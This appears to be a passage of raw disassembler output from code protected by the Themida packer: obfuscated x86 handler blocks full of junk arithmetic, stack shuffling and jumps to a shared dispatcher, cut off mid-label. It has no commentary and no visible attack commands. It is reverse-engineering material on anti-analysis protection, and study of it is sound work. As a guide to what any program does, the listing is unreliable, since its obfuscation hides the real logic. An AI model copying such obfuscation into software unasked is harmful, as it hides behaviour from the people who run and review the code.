Themida_:00561F58j dec esi push 51Ah mov [esp], edi mov edi, 7EE0FE1Ah sub esi, edi pop edi jmp loc_560694 ; --------------------------------------------------------------------------- loc_55B3B4: ; CODE XREF: Themida_:0056507Cj add esp, 4 add al, ch mov ecx, [esp] add esp, 4 push ecx mov ch, 7Ch sub bl, 0Bh add bl, ch jmp loc_55F710 ; --------------------------------------------------------------------------- loc_55B3CF: ; CODE XREF: Themida_:00551E91j xor edx, 44094B8Ch add ebp, 2E1B1BA9h sub ebp, 739A7BFDh add ebp, edx add ebp, 739A7BFDh jmp loc_55687F ; --------------------------------------------------------------------------- loc_55B3EE: ; CODE XREF: Themida_:00555CBCj push ebp mov ebp, 27FF3C35h push eax mov eax, 77080778h sub eax, 194C187Fh neg eax and eax, 61961059h xor eax, 4F7869F3h sub eax, 29AF776Dh push esi mov esi, 0F1623966h add eax, esi mov esi, [esp] jmp loc_55AB78 ; --------------------------------------------------------------------------- loc_55B420: ; CODE XREF: Themida_:0055D9E3j add ebp, 1DAE0D68h add ebp, ecx sub ebp, 1DAE0D68h push dword ptr [esp] jmp loc_556BA2 ; --------------------------------------------------------------------------- loc_55B436: ; CODE XREF: Themida_:0055779Cj xchg edi, esi neg edi xchg edi, esi push edx push ebp mov ebp, 64D855BBh mov edx, ebp pop ebp xor esi, edx jmp loc_5629D7 ; --------------------------------------------------------------------------- loc_55B44D: ; CODE XREF: Themida_:00550851j pop esp mov [esp], edi mov edi, 1BB001F5h sub edi, 45190153h inc edi sub edi, 0B0AD9CA9h add edx, 19A375FDh add edx, edi jmp loc_5557F0 ; --------------------------------------------------------------------------- loc_55B470: ; CODE XREF: Themida_:005593D4j mov esp, [esp] sub esp, 4 mov [esp], edx mov dh, 18h xor dh, 8Bh add al, dh push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55751F ; --------------------------------------------------------------------------- loc_55B48E: ; CODE XREF: Themida_:0055BAC0j push cx push edx push ecx jmp loc_555B1A ; --------------------------------------------------------------------------- loc_55B497: ; CODE XREF: Themida_:005597C7j push ecx mov ecx, 189E7290h not ecx add ecx, 1 not ecx push edx mov edx, 6127008Fh xchg ebp, edx not ebp xchg ebp, edx sub edx, 643BED62h and ecx, edx pop edx jmp loc_558735 ; --------------------------------------------------------------------------- loc_55B4BE: ; CODE XREF: Themida_:00556BBFj shr al, 2 shr al, 6 xchg dl, al neg dl xchg dl, al sub al, 65h add bl, al pop eax sub bl, al sub bl, 9Bh push 7D13h mov [esp], eax mov al, 0F7h jmp loc_562DF5 ; --------------------------------------------------------------------------- loc_55B4E3: ; CODE XREF: Themida_:00559062j pop edx add ebp, 1B9B5028h add ebp, eax sub esp, 4 jmp loc_55E185 ; --------------------------------------------------------------------------- loc_55B4F4: ; CODE XREF: Themida_:0055776Fj mov [esp], ecx mov ecx, 460A6C1Fh add eax, 72BA4932h add eax, ecx sub eax, 72BA4932h pop ecx sub eax, 69DD45E4h push dword ptr [eax] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_55F865 ; --------------------------------------------------------------------------- loc_55B527: ; CODE XREF: Themida_:00550DADj pop dword ptr [esp] pop esp mov [esp], esp jmp loc_55D5B0 ; --------------------------------------------------------------------------- loc_55B533: ; CODE XREF: Themida_:00561DB5j or ebx, 0B253713h jmp loc_55DC36 ; --------------------------------------------------------------------------- loc_55B53E: ; CODE XREF: Themida_:005600B8j mov esp, [esp] jmp loc_55CB36 ; --------------------------------------------------------------------------- loc_55B546: ; CODE XREF: Themida_:005594DCj mov [esp], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_552014 ; --------------------------------------------------------------------------- loc_55B565: ; CODE XREF: Themida_:0055FD40j add esp, 4 push eax push ecx push 8E6300h pop ecx xor ecx, 51ED6C86h jmp loc_56128F ; --------------------------------------------------------------------------- loc_55B57B: ; CODE XREF: Themida_:005606ADj push dword ptr [esp] pop eax jmp loc_55FC54 ; --------------------------------------------------------------------------- loc_55B584: ; CODE XREF: Themida_:00550E24j sub edi, 0F914EC48h add esi, edi pop edi mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] push ebp push 3800h mov [esp], edx push 26A9h mov [esp], eax jmp loc_553F3F ; --------------------------------------------------------------------------- loc_55B5B2: ; CODE XREF: Themida_:0056281Fj mov edx, ecx pop ecx and eax, edx push dword ptr [esp] jmp loc_561D77 ; --------------------------------------------------------------------------- loc_55B5BF: ; CODE XREF: Themida_:0055E25Aj mov [esp], ebp jmp loc_558A08 ; --------------------------------------------------------------------------- loc_55B5C7: ; CODE XREF: Themida_:005534CCj push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_56503D ; --------------------------------------------------------------------------- loc_55B5D8: ; CODE XREF: Themida_:0055AF2Dj xchg ebp, [esp] push ebp push ebx mov ebp, [esp] add esp, 4 pop ebx push ebx jmp loc_5566FB ; --------------------------------------------------------------------------- loc_55B5ED: ; CODE XREF: Themida_:0055A412j pop ebx add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp push ecx mov ch, 94h or ch, 0EFh push ebx jmp loc_55AD05 ; --------------------------------------------------------------------------- loc_55B607: ; CODE XREF: Themida_:0055E056j pop ecx push ebp mov ebp, 24400B44h jmp loc_55AA85 ; --------------------------------------------------------------------------- loc_55B613: ; CODE XREF: Themida_:00554133j xor eax, esi jmp loc_564227 ; --------------------------------------------------------------------------- loc_55B61A: ; CODE XREF: Themida_:00563025j push esi mov esi, esp push edx mov edx, 0B53003Eh or edx, 423108BFh push edi jmp loc_554DEA ; --------------------------------------------------------------------------- loc_55B62F: ; CODE XREF: Themida_:00560602j mov esp, [esp] push eax jmp loc_562BCC ; --------------------------------------------------------------------------- loc_55B638: ; CODE XREF: Themida_:00562685j mov edx, 6D437309h add dword ptr [esp+4], 584D1721h sub [esp+4], edx sub dword ptr [esp+4], 584D1721h jmp loc_55C86D ; --------------------------------------------------------------------------- loc_55B656: ; CODE XREF: Themida_:00552107j mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5513E8 ; --------------------------------------------------------------------------- loc_55B66D: ; CODE XREF: Themida_:0055DDD0j xchg eax, [esp] mov esp, [esp] push dword ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55B67A: ; CODE XREF: Themida_:00555C68j xor edi, esi pop esi sub esi, 316A5428h push edi mov edi, 35D0443h add esi, edi pop edi add esi, edi push 1692h jmp loc_5587A3 ; --------------------------------------------------------------------------- loc_55B698: ; CODE XREF: Themida_:0055EAA1j push eax mov eax, 67D26EE8h neg eax not eax shl eax, 4 sub eax, 787E1E97h sub eax, 0B393AA54h jmp loc_557B82 ; --------------------------------------------------------------------------- loc_55B6B4: ; CODE XREF: Themida_:00555AD3j sub edx, 0B38CEE10h sub ebx, 5045723Dh add ebx, edx add ebx, 5045723Dh pop edx push dword ptr [esp] pop esi add esp, 4 jmp loc_55AB9F ; --------------------------------------------------------------------------- loc_55B6D5: ; CODE XREF: Themida_:00550D89j push ecx mov ecx, esp push esi mov esi, 23DE41C7h xor esi, 327F7D93h jmp loc_55ABA4 ; --------------------------------------------------------------------------- loc_55B6E9: ; CODE XREF: Themida_:005585B1j push edi jmp loc_55154E ; --------------------------------------------------------------------------- loc_55B6EF: ; CODE XREF: Themida_:0055C73Fj mov dh, cl pop ecx sub dh, 8Dh push eax mov al, 0C7h add al, 0D8h jmp loc_55BB1F ; --------------------------------------------------------------------------- loc_55B6FF: ; CODE XREF: Themida_:0055EFF4j sub esp, 4 mov [esp], ebx jmp loc_56516F ; --------------------------------------------------------------------------- loc_55B70A: ; CODE XREF: Themida_:0055AD91j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub eax, ebx push esi mov esi, 170C4CE4h jmp loc_551857 ; --------------------------------------------------------------------------- loc_55B72F: ; CODE XREF: Themida_:005524ABj mov eax, esi pop esi shl eax, 3 push ebx mov ebx, 13C7C8Fh jmp loc_55888F ; --------------------------------------------------------------------------- loc_55B740: ; CODE XREF: Themida_:0056204Aj pop ebx sub esp, 4 jmp loc_55ABE1 ; --------------------------------------------------------------------------- loc_55B749: ; CODE XREF: Themida_:00553B54j mov [esp], eax mov al, 0FBh jmp loc_55053F ; --------------------------------------------------------------------------- loc_55B753: ; CODE XREF: Themida_:0056451Bj mov ebx, [esp] add esp, 4 mov cl, ah mov eax, [esp] add esp, 4 push 4CF0h jmp loc_55D177 ; --------------------------------------------------------------------------- loc_55B76B: ; CODE XREF: Themida_:00557E8Cj xor ebp, 21524599h sub eax, ebp jmp loc_55CE72 ; --------------------------------------------------------------------------- loc_55B778: ; CODE XREF: Themida_:0055A675j pop dword ptr [esp] mov esp, [esp] jmp loc_55C658 ; --------------------------------------------------------------------------- loc_55B783: ; CODE XREF: Themida_:0055A092j push esi mov esi, 23DC0218h jmp loc_55F6AF ; --------------------------------------------------------------------------- loc_55B78E: ; CODE XREF: Themida_:0055C40Bj mov ebp, edx jmp loc_564CF0 ; --------------------------------------------------------------------------- loc_55B795: ; CODE XREF: Themida_:00553B0Ej sub esp, 4 jmp loc_552570 ; --------------------------------------------------------------------------- loc_55B7A0: ; CODE XREF: Themida_:00562DC1j shr ecx, 4 xor ecx, 5E4D2A8Bh xor eax, ecx pop ecx sub esp, 4 mov [esp], edx push ebp push ebx mov ebx, 76E166ECh jmp loc_55F43F ; --------------------------------------------------------------------------- loc_55B7C1: ; CODE XREF: Themida_:005643CCj mov ecx, 0FC1CF1FCh xor ebp, ecx pop ecx mov eax, ebp pop ebp sub edi, eax mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_55A297 ; --------------------------------------------------------------------------- loc_55B7E5: ; CODE XREF: Themida_:00550C21j mov ebp, 4 add ecx, ebp pop ebp push ebx mov ebx, 4 sub ecx, ebx pop ebx jmp loc_562B3D ; --------------------------------------------------------------------------- loc_55B7FB: ; CODE XREF: Themida_:005646E6j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 3A69h mov [esp], ebx mov ebx, esp push ecx mov ecx, 71BE61AEh jmp loc_55D3C5 ; --------------------------------------------------------------------------- loc_55B81D: ; CODE XREF: Themida_:005659B8j mov [esp], eax jmp loc_55FDA3 ; --------------------------------------------------------------------------- loc_55B825: ; CODE XREF: Themida_:0055C52Aj add bl, 3 sub bl, cl sub bl, 3 pop ecx push small 424Ah mov [esp], dx jmp loc_5579BA ; --------------------------------------------------------------------------- loc_55B83B: ; CODE XREF: Themida_:0055349Aj add ebx, 75E81356h add ebx, edx push esi mov esi, 75E81356h sub ebx, esi jmp loc_55B11B ; --------------------------------------------------------------------------- loc_55B850: ; CODE XREF: Themida_:00557B8Cj push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_557E20 ; --------------------------------------------------------------------------- loc_55B861: ; CODE XREF: Themida_:005658AEj add bl, ah pop eax mov eax, [esp] add esp, 4 add bl, al push 7C80h mov [esp], edx mov dh, 77h dec dh or dh, 0EAh push ax mov al, 0EFh jmp loc_551A78 ; --------------------------------------------------------------------------- loc_55B887: ; CODE XREF: Themida_:00555990j mov ax, 990h neg ax add ax, 7D4Ah jmp loc_552120 ; --------------------------------------------------------------------------- loc_55B897: ; CODE XREF: Themida_:00551011j xor esi, 9392B8E1h sub ebx, esi pop esi add ebx, ebp add ebx, 74EB4359h push esi jmp loc_55F292 ; --------------------------------------------------------------------------- loc_55B8AE: ; CODE XREF: Themida_:00562BF7j push esi push dword ptr [esp+4] jmp loc_551139 ; --------------------------------------------------------------------------- loc_55B8B8: ; CODE XREF: Themida_:0055506Ej pop esp mov [esp], ecx push 503C5F6Eh pop ecx jmp loc_559929 ; --------------------------------------------------------------------------- loc_55B8C7: ; CODE XREF: Themida_:0056011Cj add edx, 73B56B53h jmp loc_550420 ; --------------------------------------------------------------------------- loc_55B8D2: ; CODE XREF: Themida_:00563413j mov dx, [esp] add esp, 2 push ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 sub ebp, 61396702h sub ebp, eax jmp loc_5587F5 ; --------------------------------------------------------------------------- loc_55B8F5: ; CODE XREF: Themida_:0055E4AEj push ecx mov cl, 2Fh dec cl jmp loc_559AC6 ; --------------------------------------------------------------------------- loc_55B8FF: ; CODE XREF: Themida_:0055F208j add edx, edi pop edi add edx, 413F1A45h add edx, ebp sub edx, 413F1A45h sub edx, 32AC16BFh mov ebp, [esp] jmp loc_55DA0E ; --------------------------------------------------------------------------- loc_55B91E: ; CODE XREF: Themida_:00550DDAj pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 push 65Fh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_5646D4 ; --------------------------------------------------------------------------- loc_55B93F: ; CODE XREF: Themida_:00553653j push esi mov esi, 4 mov ecx, esi pop esi add ebx, ecx pop ecx push ebp mov ebp, esp add ebp, 4 jmp loc_551E74 ; --------------------------------------------------------------------------- loc_55B959: ; CODE XREF: Themida_:005579DFj mov edx, [esp] sub esp, 4 mov [esp], edi push esp jmp loc_5655A8 ; --------------------------------------------------------------------------- mov cx, [esp] push 4DCAh mov [esp], ecx mov ecx, esp push ebp mov ebp, 4 jmp loc_565721 ; --------------------------------------------------------------------------- loc_55B981: ; CODE XREF: Themida_:00553165j mov ebx, 64B85905h push ecx push 2999h jmp loc_56244C ; --------------------------------------------------------------------------- loc_55B991: ; CODE XREF: Themida_:0055EA2Cj mov [esp], ebx mov bh, 86h shr bh, 5 xor bh, 2Dh sub bh, 0B8h sub dh, bh jmp loc_555806 ; --------------------------------------------------------------------------- loc_55B9A6: ; CODE XREF: Themida_:0055A4D5j add esi, ecx push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 add esp, 4 and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 push 21F4h mov [esp], eax mov eax, 0FFFFFFFFh jmp loc_559148 ; --------------------------------------------------------------------------- loc_55B9D9: ; CODE XREF: Themida_:005658F1j push 893h mov [esp], edi mov edi, 509C3DD8h jmp loc_554BB2 ; --------------------------------------------------------------------------- loc_55B9EB: ; CODE XREF: Themida_:00551522j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi push esp jmp loc_554DB2 ; --------------------------------------------------------------------------- loc_55B9FF: ; CODE XREF: Themida_:0055AB8Bj push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_559219 ; --------------------------------------------------------------------------- loc_55BA0D: ; CODE XREF: Themida_:005631B4j pop ecx add esi, 183251C1h and esi, 27F26A44h push edi mov edi, 0D382FE2Bh sub esi, edi jmp loc_558FA8 ; --------------------------------------------------------------------------- loc_55BA27: ; CODE XREF: Themida_:0055BE8Bj cmp cl, al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55BA2F: ; CODE XREF: Themida_:0055AB7Bj xor ebp, eax jmp loc_564211 ; --------------------------------------------------------------------------- loc_55BA36: ; CODE XREF: Themida_:0055409Cj xchg edx, [esp] pop esp push ebp mov ebp, 4 jmp loc_55F202 ; --------------------------------------------------------------------------- loc_55BA45: ; CODE XREF: Themida_:00560A85j mov dl, 0F8h push eax mov ah, 0DBh sub dl, ah jmp loc_55EFDA ; --------------------------------------------------------------------------- loc_55BA51: ; CODE XREF: Themida_:0055D7D5j add esi, 23B260BEh push eax mov eax, 7A8457F6h jmp loc_5559C3 ; --------------------------------------------------------------------------- loc_55BA62: ; CODE XREF: Themida_:0055360Ej sub ecx, 4 jmp loc_558E69 ; --------------------------------------------------------------------------- loc_55BA6A: ; CODE XREF: Themida_:005576E4j push edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] pop esp push di mov di, 481Ah add [esp+4], di pop di sub word ptr [esp+2], 14A1h add [esp+2], di jmp loc_5513B8 ; --------------------------------------------------------------------------- loc_55BA9B: ; CODE XREF: Themida_:0055186Aj pop esi jmp loc_55E254 ; --------------------------------------------------------------------------- loc_55BAA1: ; CODE XREF: Themida_:0055D9D1j add [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_55202E ; --------------------------------------------------------------------------- loc_55BAB0: ; CODE XREF: Themida_:005529F2j push ebp mov ebp, 31450F4Ah xor edx, ebp pop ebp jmp loc_55D849 ; --------------------------------------------------------------------------- loc_55BABE: ; CODE XREF: Themida_:00563179j sub bl, al jmp loc_55B48E ; --------------------------------------------------------------------------- loc_55BAC5: ; CODE XREF: Themida_:0055E6EBj pop ecx jmp loc_552F11 ; --------------------------------------------------------------------------- loc_55BACB: ; CODE XREF: Themida_:0055C919j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_5563EA ; --------------------------------------------------------------------------- loc_55BAF4: ; CODE XREF: Themida_:00557FC4j push 63D7h mov [esp], ecx jmp loc_553ADB ; --------------------------------------------------------------------------- loc_55BB01: ; CODE XREF: Themida_:005605C7j add eax, 0C8BDCEB9h add ebx, eax pop eax mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55BB1F: ; CODE XREF: Themida_:0055B6FAj xor dh, al mov eax, [esp] add esp, 4 push cx mov ch, dh dec ch mov dh, ch pop cx sub dh, 0BCh jmp loc_553A88 ; --------------------------------------------------------------------------- loc_55BB39: ; CODE XREF: Themida_:00561B11j sub esp, 4 jmp loc_561BD0 ; --------------------------------------------------------------------------- loc_55BB44: ; CODE XREF: Themida_:00558482j pop dword ptr [esp] mov esp, [esp] add ebx, 4F2A2FE6h add ebx, esi jmp loc_553A38 ; --------------------------------------------------------------------------- loc_55BB57: ; CODE XREF: Themida_:00558953j xor [esp], esi xor esi, [esp] jmp loc_562A86 ; --------------------------------------------------------------------------- push esi jmp loc_5636D4 ; --------------------------------------------------------------------------- loc_55BB68: ; CODE XREF: Themida_:00553DA9j add esp, 4 mov bx, bp pop ebp push esi mov si, 0A37h neg si jmp loc_55929D ; --------------------------------------------------------------------------- loc_55BB7F: ; CODE XREF: Themida_:00552BBBj mov al, dl jmp loc_554075 ; --------------------------------------------------------------------------- loc_55BB86: ; CODE XREF: Themida_:0055DFB8j shl esi, 1 sub esi, 0B68F019Eh mov ebp, esi pop esi push ebp sub dword ptr [esp], 3E24689Fh pop esi add esi, 3E24689Fh jmp loc_55CC4E ; --------------------------------------------------------------------------- loc_55BBA5: ; CODE XREF: Themida_:005520DAj pop eax push edx mov edx, 0FFFFFFFFh sub ebx, edx pop edx add ebx, 0E63AEC72h push 2F29h jmp loc_5534A9 ; --------------------------------------------------------------------------- loc_55BBBF: ; CODE XREF: Themida_:00555177j push dword ptr [esp] jmp loc_551218 ; --------------------------------------------------------------------------- loc_55BBC7: ; CODE XREF: Themida_:005622C1j xchg ebx, [esp] pop esp mov [esp], edx jmp loc_5608DF ; --------------------------------------------------------------------------- loc_55BBD3: ; CODE XREF: Themida_:0055914Ej pop eax push edx push esp pop edx add edx, 4 sub esp, 4 jmp loc_5533DD ; --------------------------------------------------------------------------- loc_55BBE5: ; CODE XREF: Themida_:0055436Dj push ebp push ecx jmp loc_55E6DF ; --------------------------------------------------------------------------- loc_55BBEC: ; CODE XREF: Themida_:0055563Bj dec eax push 59CAh mov [esp], edi jmp loc_556C23 ; --------------------------------------------------------------------------- loc_55BBFA: ; CODE XREF: Themida_:00558CD8j push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], eax push 26BEh jmp loc_565AE4 ; --------------------------------------------------------------------------- loc_55BC11: ; CODE XREF: Themida_:0055514Ej pop ecx sub ecx, 5DBB113Ah and ecx, 2C60338Eh add ecx, 306C41E9h mov esi, ecx mov ecx, [esp] add esp, 4 jmp loc_551B89 ; --------------------------------------------------------------------------- loc_55BC31: ; CODE XREF: Themida_:0055183Dj mov ecx, eax pop eax jmp loc_556F8B ; --------------------------------------------------------------------------- loc_55BC39: ; CODE XREF: Themida_:00551852j push ebp mov ebp, esp sub esp, 4 mov [esp], ebx push ecx mov ecx, 6AA41FB8h mov ebx, 7BE858h add ebx, 0BD906F4h jmp loc_555FB0 ; --------------------------------------------------------------------------- loc_55BC5B: ; CODE XREF: Themida_:00563AD6j add eax, 4 push ecx push edx push 27BE46FFh pop edx mov ecx, 4AD8BC84h jmp loc_559256 ; --------------------------------------------------------------------------- loc_55BC72: ; CODE XREF: Themida_:0055D972j push edi push ebp pop edi pop ebp jmp loc_564C01 ; --------------------------------------------------------------------------- loc_55BC7B: ; CODE XREF: Themida_:00562B13j sub ecx, esi pop esi xchg ecx, [esp] pop esp jmp loc_550B95 ; --------------------------------------------------------------------------- loc_55BC87: ; CODE XREF: Themida_:0055225Fj or esi, edx pop edx sub esi, 60AC457Eh sub ebx, esi pop esi add ebx, 7E882450h add ebx, 2C28000Ah jmp loc_55658B ; --------------------------------------------------------------------------- loc_55BCA4: ; CODE XREF: Themida_:00558E2Ej mov ebp, esp add ebp, 4 add ebp, 4 push 5AD2h mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_550571 ; --------------------------------------------------------------------------- loc_55BCC4: ; CODE XREF: Themida_:00563EDDj and ebx, 36FC5A50h or ebx, 4704B94h not ebx sub ebx, 4DB3C61h jmp loc_559C3D ; --------------------------------------------------------------------------- loc_55BCDD: ; CODE XREF: Themida_:005540DEj mov ebp, [esp] add esp, 4 jmp loc_559FB4 ; --------------------------------------------------------------------------- loc_55BCEB: ; CODE XREF: Themida_:0055654Fj mov ebx, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55BD02: ; CODE XREF: Themida_:0055361Aj pop ecx push ecx mov ecx, 1CC23EE0h jmp loc_551C3D ; --------------------------------------------------------------------------- loc_55BD0E: ; CODE XREF: Themida_:00557933j mov ecx, [esp] add esp, 4 push ebp push edx sub dword ptr [esp], 777A4B80h pop ebp add ebp, 777A4B80h mov edi, ebp jmp loc_553173 ; --------------------------------------------------------------------------- loc_55BD2E: ; CODE XREF: Themida_:0055B157j push eax mov eax, 4 sub ecx, eax jmp loc_55C0B8 ; --------------------------------------------------------------------------- loc_55BD3B: ; CODE XREF: Themida_:00556A7Cj xor [esp], ebp xor ebp, [esp] jmp loc_550AB9 ; --------------------------------------------------------------------------- loc_55BD46: ; CODE XREF: Themida_:005656D6j sub edi, 9F6DB5BEh jmp loc_55F684 ; --------------------------------------------------------------------------- push dword ptr [esp+4] jmp loc_550C80 ; --------------------------------------------------------------------------- loc_55BD5A: ; CODE XREF: Themida_:0055E4DAj dec edx xor edx, 3C6DFF9Bh mov ebp, edx pop edx add ecx, ebp pop ebp xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55C5D6 ; --------------------------------------------------------------------------- loc_55BD75: ; CODE XREF: Themida_:0055969Fj mov ah, 13h xor ah, 0E5h sub bl, ah jmp loc_551BCB ; --------------------------------------------------------------------------- loc_55BD81: ; CODE XREF: Themida_:00560C38j add esi, edx mov edx, [esp] add esp, 4 sub esi, 4 jmp loc_55816A ; --------------------------------------------------------------------------- loc_55BD94: ; CODE XREF: Themida_:005591C1j mov edx, 42773085h or ebp, edx pop edx xor ebp, 427F3C91h push edi mov edi, 6B9D4284h shl edi, 5 add edi, 8361672h add edi, 0CC85C29Fh jmp loc_5636EE ; --------------------------------------------------------------------------- loc_55BDBC: ; CODE XREF: Themida_:0055ACABj sub ebp, 75A8719Bh neg ebp shr ebp, 2 not ebp add ebp, 0AAEC5D9h sub edx, 4BE83EBCh add edx, 719F78A1h sub edx, 5CF24296h add edx, ebp jmp loc_563379 ; --------------------------------------------------------------------------- loc_55BDE8: ; CODE XREF: Themida_:005579ECj push dword ptr [esp+4] push dword ptr [esp] jmp loc_55EF09 ; --------------------------------------------------------------------------- loc_55BDF4: ; CODE XREF: Themida_:005511B6j mov [esp], eax mov eax, 0 jmp loc_560EB2 ; --------------------------------------------------------------------------- loc_55BE01: ; CODE XREF: Themida_:00561BEFj sub esi, 45F8EE2Ah neg esi or esi, 68CF6E45h sub esi, 62121328h xor esi, 8DCDDCBBh add edi, esi pop esi push ecx jmp loc_552725 ; --------------------------------------------------------------------------- loc_55BE24: ; CODE XREF: Themida_:00563A0Cj push ebp mov ebp, 5B2654C4h shr ebp, 7 jmp loc_55CC2D ; --------------------------------------------------------------------------- loc_55BE32: ; CODE XREF: Themida_:00560155j push edx jmp loc_558DFD ; --------------------------------------------------------------------------- loc_55BE38: ; CODE XREF: Themida_:0055ACECj sub ecx, 4 xchg ecx, [esp] pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_55C7E7 ; --------------------------------------------------------------------------- loc_55BE58: ; CODE XREF: Themida_:0055943Aj push esp pop eax jmp loc_562101 ; --------------------------------------------------------------------------- loc_55BE5F: ; CODE XREF: Themida_:005512B3j sub eax, 3B401C47h add eax, esi add eax, 3B401C47h mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub eax, 0D25E51h jmp loc_55DC95 ; --------------------------------------------------------------------------- loc_55BE88: ; CODE XREF: Themida_:005528BAj mov esp, [esp] jmp loc_55BA27 ; --------------------------------------------------------------------------- loc_55BE90: ; CODE XREF: Themida_:00561C96j push 5E39h mov [esp], edx push edi push 0F82234Dh pop edi push eax mov eax, 2472544Bh shl eax, 3 add eax, 0F8D480EDh or edi, eax pop eax push ecx jmp loc_55C323 ; --------------------------------------------------------------------------- loc_55BEB6: ; CODE XREF: Themida_:0055E4F9j mov ebx, ebp mov ebp, [esp] add esp, 4 shr ebx, 6 sub esp, 4 jmp loc_556C85 ; --------------------------------------------------------------------------- loc_55BECF: ; CODE XREF: Themida_:00561493j mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5588E4 ; --------------------------------------------------------------------------- loc_55BEE6: ; CODE XREF: Themida_:00557461j add ecx, 4 jmp loc_563056 ; --------------------------------------------------------------------------- loc_55BEF1: ; CODE XREF: Themida_:0055C31Ej mov edi, esp add edi, 4 add edi, 4 jmp loc_55FC0A ; --------------------------------------------------------------------------- loc_55BF04: ; CODE XREF: Themida_:0055F2F3j mov esp, [esp] jmp loc_555757 ; --------------------------------------------------------------------------- loc_55BF0C: ; CODE XREF: Themida_:00562D87j sub al, cl pop ecx sub al, 50h add al, dh jmp loc_55E2AE ; --------------------------------------------------------------------------- loc_55BF18: ; CODE XREF: Themida_:0055DBA5j xor ebp, 0A3A8BCC4h mov ecx, ebp jmp loc_555F55 ; --------------------------------------------------------------------------- loc_55BF25: ; CODE XREF: Themida_:0055248Fj mov ebp, 1A5D286Bh add ebp, 4E38DF5Eh sub esi, ebp pop ebp mov edx, esi pop esi add edi, edx pop edx add edi, 4 push ebx push esp pop ebx add ebx, 4 push ebp mov ebp, 5FA8371Dh dec ebp and ebp, 3A5765C3h neg ebp xor ebp, 0E5FFDB04h sub ebx, ebp pop ebp xchg ebx, [esp] pop esp mov [esp], edi push dword ptr [esp+4] jmp loc_56424A ; --------------------------------------------------------------------------- loc_55BF6D: ; CODE XREF: Themida_:0055D6BEj add edx, eax jmp loc_557227 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55BF7B: ; CODE XREF: Themida_:0055E1C3j push ecx jmp loc_56461C ; --------------------------------------------------------------------------- loc_55BF81: ; CODE XREF: Themida_:005528FFj pop eax xchg ebp, [esp] mov esp, [esp] xor [esp], eax jmp loc_550E29 ; --------------------------------------------------------------------------- loc_55BF90: ; CODE XREF: Themida_:0055F1FDj pop eax sub word ptr [esp+2], 22D0h add [esp+2], di add word ptr [esp+2], 22D0h mov di, [esp] jmp loc_562065 ; --------------------------------------------------------------------------- loc_55BFAD: ; CODE XREF: Themida_:0055F73Cj pop ebp add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] xchg edx, [esp] pop esp jmp loc_554733 ; --------------------------------------------------------------------------- loc_55BFD5: ; CODE XREF: Themida_:0055C905j mov esi, 66662C80h and ebx, esi jmp loc_56412D ; --------------------------------------------------------------------------- loc_55BFE1: ; CODE XREF: Themida_:0055E1A1j add esp, 4 push edi jmp loc_55FE8E ; --------------------------------------------------------------------------- loc_55BFEA: ; CODE XREF: Themida_:0055F896j pop ebp sub esi, 77C42039h add esi, eax jmp loc_55DD9F ; --------------------------------------------------------------------------- loc_55BFF8: ; CODE XREF: Themida_:0055918Dj mov eax, [esp] jmp loc_550455 ; --------------------------------------------------------------------------- loc_55C000: ; CODE XREF: Themida_:00561750j add esp, 4 push ebp mov ebp, 6C410685h neg ebp jmp loc_553205 ; --------------------------------------------------------------------------- loc_55C013: ; CODE XREF: Themida_:00558BD8j mov edx, 4 sub ecx, 2C153910h add ecx, edx add ecx, 2C153910h pop edx sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi jmp loc_56473E ; --------------------------------------------------------------------------- loc_55C039: ; CODE XREF: Themida_:0055112Cj mov esp, [esp] push ecx jmp loc_552816 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax mov eax, esp push 0F59h mov [esp], esi push 7A5011ACh jmp loc_55D6E9 ; --------------------------------------------------------------------------- loc_55C060: ; CODE XREF: Themida_:0055B0AEj add edi, ecx jmp loc_564064 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55C077: ; CODE XREF: 